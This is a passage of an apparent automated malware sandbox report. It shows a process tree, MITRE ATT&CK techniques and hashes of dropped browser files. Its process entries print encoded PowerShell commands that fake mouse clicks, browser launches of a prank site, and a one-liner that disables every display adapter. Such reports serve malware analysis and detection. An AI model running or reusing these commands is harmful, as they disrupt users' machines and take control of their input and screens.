GkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where msedge
      4⤵
      PID:6836
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --new-window "https://youareanidiot.cc/lol.html"
      4⤵
      PID:7316
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where firefox
      4⤵
      PID:7324
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -new-window "https://youareanidiot.cc/lol.html"
      4⤵
      PID:7700
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -new-window https://youareanidiot.cc/lol.html
        5⤵
        
        PID:7724
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where brave
      4⤵
      PID:7708
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where opera
      4⤵
      PID:7948
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Get-PnpDevice -Class 'Display' | Where-Object {$_.Status -eq 'OK'} | Disable-PnpDevice -Confirm:$false"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:8044
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"cd "C:\Users\Admin\Downloads\ExtractedFiles"
      4⤵
      PID:8084

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:3884

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:5284

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:5972

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:8400

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x00000000000004E4 0x00000000000004E8
1⤵
PID:8688

C:\Windows\system32\WerFault.exe
"C:\Windows\system32\WerFault.exe" -k -l WATCHDOG WATCHDOG-20260818-1810.dmp
1⤵
PID:8716

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:3488

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:2832

C:\Windows\system32\wbem\WMIADAP.EXE
wmiadap.exe /R /T
1⤵
PID:5680

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Create Account

T1136

Local Account

T1136.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

System Network Configuration Discovery

T1016

Wi-Fi Discovery

T1016.002

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

settings.dat

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad\settings.dat
Size 40B
SHA256 b3640a0fbf727ccded0f13bf4bcf638b7a59787e97d9362d58aa539c96c2744e
MD5 90bda241bdd991a97d7632319488b19a
SHA1 761d8712c3d94e88c0463a0514d66aeb5f098cc2
SHA512 07f28b8ae4d46f7ae6898c4ed39fa8771b56057e38afcaa6afadbf9151891727d4c6e39afab833a7d9ea0a1c430082f7197a753a6c455327000441403ca50d2a
MD5 SHA1 SHA512

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

f_000003

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\f_000003
Size 62KB
SHA256 e96962c7df63a9fbe00dddda6e5360d639e7b25498fef7400fe0333fa5311294
MD5 5bbcb2d4f3b68ad1969574166cbf7210
SHA1 c1659c4e5b88de42858857ebffd3accaa360b02e
SHA512 71f65503cd3f12f908644cc2fecc7b5e833724c93107962935a74eef4d8eab2806200cf291d366c646f5d0f881e27f9252b7c1a39050eaf4388c7ec474ddca74
SSDEEP 768:GlmILj20bh/Jhu51KNCCcwgjjp1X3xRTFo8OmY1gqNjbBSxY45QY6FP5vv2Mvc/r:Gt7/ju35wgjjLrrqdb4xn5Vs57vcV+FY
TLSH
T1B553020A009EC47EE703DDA03087145E5FA508BAEFF5E3B9B012597B82667DAD75806E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 192B
SHA256 a4da508c8edf2bbf5ef4f8ab083193bf6574906542cd2a58a10229b340d447ce
MD5 aec4c5f4d67a74444a93b3f5df04106f
SHA1 871b150afb5acc2759123b6f5f8a12fe6f666fc1
SHA512 64fc07732ea768e5cf4b73b69a6a60dc607c00c9c206540e8f66ad5a881d290bb6a763727d0f91ced88bebac6514779c2ccb481dafd33ebd5093fe6ab2c08114
TLSH
T1EBC08C503ED3858BCB8005794C76CC2685030877003EC36703E0ED6800330E00804054
MD5 SHA1 SHA512 TLSH

Submit Download

CURRENT

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GCM Store\CURRENT
Size 16B
SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
MD5 46295cac801e5d4857d09837238a6394
SHA1 44e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA512 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23
MD5 SHA1 SHA512

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
Size 1KB
SHA256 a46e60d66beb4c561fc3ea558a65f95fbee9e74cd9072d4a798192072b2e2a31
MD5 9d107ab50ab4e0d8774214feb79c601e
SHA1 a77ab90d7ae809c0ce2531e3414e60bc3db0c5f0
SHA512 8c2b5b4c90653bbd64a2d0ad12f24aebed131f87327b4319397bf67f6db71742f05f78b4f7ed50f7cc78dbd49ccca796bc5375dadb1144dd61b4d88aa7e12523
TLSH
T15D319CF7C3E4CA7D891146F4AB156E1FCE6D0514032C3C6689E4AE1793E28B1D11074F
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 11KB
SHA256 29f76638ca2c6e6bcaf1574a232be9a42ae70a84f6f0eca4757636e2cdd479f3
MD5 6aed77038cc637a597d989d48f0d457b
SHA1 91f4dff20a67d2f883730c5373e89c9caea7718c
SHA512 b843add7958a6b1a5f2e6b3a89aefe3e53eef645539b4335776629804d044588f788e02aafc46367ba004d16819ff54f5745d8a57335e9027732a8952ec1f263
SSDEEP 192:rRMaEJRYCbUKNReR/Riv7IvAPRp2CF98Hsb+WNnMktzJPWg++BauUAc6SVyIsnAl:rRMaEJRYWTNAF886XzuwMStWgRaB6SR
TLSH
T12F32A62ABA54797B6DCBD229F9313753E7F5102225D42E84E7FC8A2C15E7ACC2227007
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 11KB
SHA256 98ee0594a973c3f787ae57ceab27091d0c5d145d2195b59ebf34ec3bdb3885e0
MD5 ae2d1cef062f6a054cdaf542bcca3f43
SHA1 9b9e166132c81dab22fd2608a74717d47e9d08c0
SHA512 c63a9f1401101ed5438c20b11328a8ee055169f26d12ffc6cfee156f93327f638b122d031be5d44f7ea52381ac281887043aaca7b41542ee07706ba4e5c20c5f
SSDEEP 192:rRMa0JRYCbUKNRBRiv7IvAPRp2Cp98Hsb+WNnMktzoHYR++BauUAc6SVyIsnAUgR:rRMa0JRYWTNP886X7uwMSkYRRaB6SR
TLSH
T19432A82ABA54797B6DDBD229F9213753E7F5102225D02E84E7FC8A2C15E7ACC2227007
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 12KB
SHA256 78d398cd4ee825b5cb0e9e86a73f2f28d46dca575f25cd8a3c0c48d9b32f5559
MD5 aee36c6b0140d213fb640a52bfa69018
SHA1 b554f7b85a3ec267d3492f2b3467dfabdd70110a
SHA512 abf2d06d7f404d834019d26fe0a02db502f1a064f281f6b16c8f2d612f93b4bb5fa17b92b23c3752d65229628c63e62b936d8914efc6ae6a83745cad01a8602f
SSDEEP 192:rRMaZJRYCbUKNRxRiv7IvJPRpBCp98Hsb+WNnMktzUyej++BauUAu6SVyIsnAUge:rRMaZJRYWTN/885XYuwMSlejRad6Se
TLSH
T1D842B62AB9147D7B9DCBD229F9217753E7F5102261D02E84EBFC8A2C15E76CC2227017
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 12KB
SHA256 1572b9f2af373962d9632d747ba03d1fe59ec62a5dbfc440d443004df32ce8f5
MD5 4d8a6870283d5d27b89efe0d0b4de0db
SHA1 6f805baa78d8889606a1eca371b8efefb955f258
SHA512 561ace6fc8799e894c28417e71da459d1327ddf80473470e079f5c269ed9bc7e5d9ba3a7f4597bc13ecba86e0fb06e18007ab3f00c101d06e89b59b618b035e9
SSDEEP 192:rRMaMJRYCbUKNRjRiv7IvJPRpBCp98Hsb+WNnMktzoHY/++BauUAu6SVyIsnAUgR:rRMaMJRYWTNx885XYuwMSkY/Rad6SR
TLSH
T1E942B62AB9547D7BADDBD229F9217753E7F5102221D02E84E7FC8A2C15E7ACC2227017
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 11KB
SHA256 26baa18c8e07f361fae398648bd275c50ec630922313d5204fe273c920c117be
MD5 80e556fdedadfc2fad96e43655fde8ff
SHA1 13af9b1c404a92b8a8f6160bd0ad3f78c2d36688
SHA512 e1cf0f65fbded73171be9c5813fe3060a4f3e144c1c1b23ba9943baaa23c7d4cb2ef6b9d33d17031274db2b8c33609a56c6fbeedef9d53903665e014445f2e3f
SSDEEP 192:rRMaMJRYCbUKNRjRiv7IvAPRp2Cp98Hsb+WNnMktzoHYo++BauUAS6SVyIsnAUgR:rRMaMJRYWTNx886X7uwMSkYoRaz6SR
TLSH
T15432B92AB9547D7B9DDBD229F9213753E7F5102221D02E84E7FC8A2C15E76CC2227017
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
Size 11KB
SHA256 dbd9082365f74a3f8fd80110ef6981bfc517eda53a160eae401a585175c63ad8
MD5 a9834cb0cdc82d96c5207d0df32f993a
SHA1 b49485ab66647bc2650e070d30f51ba40120a26e
SHA512 5bbce2ee9c7c4a32e9fefe1df92ab6beb680abfd89ca1a5f9fb6b7e4cdab0f2c345b9286f6f8732dbdc7a53f34c27f4cbf731ebd294a4da8b85943432d87be87
SSDEEP 192:e5a4K6R97KxkXqK4I40pUZNCgVLHrKHfFKslE8/1XzKD/ed+ErUkKN9prtumtK7D:Majm97KxkXqKf/pUZNCgVLH2HfgslN1n
TLSH
T16A32D727A88D9E7F0FD8D519CC136F8B6CF5029263780D2466FB5D0803A578E114A5BB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 5KB
SHA256 be38f314fd600eedf5a4e49677df5b4f6d9282bb9ae6b41caec497e5e620e1ee
MD5 999e06f90a534d848504d8248cad2695
SHA1 c32923cc98bbb05d0fdd32af15ed43bc960aba39
SHA512 ee08babd3e701d269fcab301f3027fa287012a5aba07fc4f32098102bec33aa075c56b6a6b823cb5c6e3455d83ebd1abb79405397ab96dd4f634b02abe49bfe9
SSDEEP 96:52pMC6cd+oJm4V0FH+pqf+HBKyoCopRtQSl8h4otop5MpeDMSB6QwGMvkfFl65zJ:kyCXHJm5FHuPgCoeiU2MiMy9dJFl6huM
TLSH
T1ACC119B0787CAC7359F7D741F0433583CEA4A26B6A81AE50DAE90F0D01E76EC2342627
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 128KB
SHA256 7fd9ad35b71f23c50b2cfa4f091f83fa771173e37c4eab84aec5b9e7cacc148d
MD5 c09d0491ae36af9d0a74a6e872289f95
SHA1 bf8299bf54dfa34ab7e6787db94b451200c9c033
SHA512 ecc30e2b20310eff2f0c4b8180b712bd3fc18833f64c67c40b0ef8f827042bf81a15cbac0ceae22ce3b462d2c695f481163a6a3f830706c042e48b43c286723b
SSDEEP 3072:3rHzvB2EcMViUFwYeOWVGvE9lfYaBztF6tT8jUd:3hkMVisTeO4tStiG
TLSH
T1C5D312FE558FB9791ADED701700ABE07DA92CEF3C9684DB7A9E0090946DDFC50228817
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 4KB
SHA256 5fd527a66770c4342ad7c56fb4410c97d88fc4b639e759b6ec0887c2db35edce
MD5 7f2af63f70aa39f55e74474c71bcddc5
SHA1 9d1c6526a50e1bc2c1cf86b320e3611dbe5dd8dd
SHA512 fd9892c68885a575e04f1337fcae6d69c0f8f4ecfa57cbb31bb5db22f6a8700aae925adc5bef9acfb5e9fec54d52b37351f1ac137c0b3f81f4fc160fe7998aa4
SSDEEP 96:5KC0d+oJm4V0FH+pqf+HBKyoytsRDotok5MpHDMSB6eGyvkonzYTob1v4a:MC0HJm5FHuPgXDUDMhMyW8nzYTobZ
TLSH
T11CA12BB1A4B98CB759B7D345F8833A83DEA4A22769A1EF80D9DD1F0C01F71D81341627
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 6KB
SHA256 d8331eceb668de58797b23326df94df89f65ec798766315c1552cae0bbd06f43
MD5 8ad7783969973ea1c35fac8961ba84c8
SHA1 0aaced29be8eb73ff09f171f8cc8521b7222a4a9
SHA512 3e845229f911fa491a4f8bedc12b8474eaecafde6c18a7a39f64f58c7e72cb216f5215a961c36e432d472b10628737b381c93668203337ac1b14f0759cb1ea3d
SSDEEP 192:kytXHJm5FHuPgCoeiU2MiMy9dJFl6hFnGzYTnUU:kytXMLHvCoeXTy9HFlRzYTUU
TLSH
T1EFD109B078BDAC7359F7D741F4033583CEB4A26B5A819E549AE90F1D01E76EC2342627
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 5KB
SHA256 2f63fd02c7b06f59928293155bf384f0dbd76c4c2784a448923df52a456d4fec
MD5 a93843663deb8e64f77e600e63f88bd6
SHA1 19ab1dff350201a37e288342f67dd5c780ad62d2
SHA512 d1b711e2d7178b60dc2a17ef15fdf102007eb1af8cb38d40896b3bfb35f8b355b6ecf2d9ecfe9c0b1c74a93708ccee8d0ea5bbb78cabf8f102715b6d5149c6a3
SSDEEP 96:52pMC6cd+oJm4V0FH+pqf+HBKyoCopRtQSl8h4otop5MpqDMSB6QwGwvkfFl65zJ:kyCXHJm5FHuPgCoeiU2MeMy9d1Fl6huM
TLSH
T137C10AB0787CAC7359F7D745F4433583CEA4A26B6A81AE54DAE90F0D01E76EC2342627
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

1a30d269-588c-4486-a13b-0d6fafa4fd1a.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\1a30d269-588c-4486-a13b-0d6fafa4fd1a.tmp
Size 38KB
SHA256 40998895e8d91cab19992453689342909c89aa54b3140b90f4a77447fb022874
MD5 e4462e41126f27c1270f1a15c016827f
SHA1 89850bd1ed4eccb22b699b97f534f256f79d1fea
SHA512 ca44795f08bd32f3dec439ea053ed79d46db7107cfffd505ffcae8dea6356536c91a7ffd91bbe93eadbe382a9059c431c17b98d9bd0f9ff88a338fa2c96f682f
SSDEEP 768:9Erv+4UNbdT3IUQXfiRkOUPLgp8+p3bd66j+4BRv86aLIWzMR3Av/:9Ebsbx3I/XfiRxy+8+p3Z6n4yRMOv/
TLSH
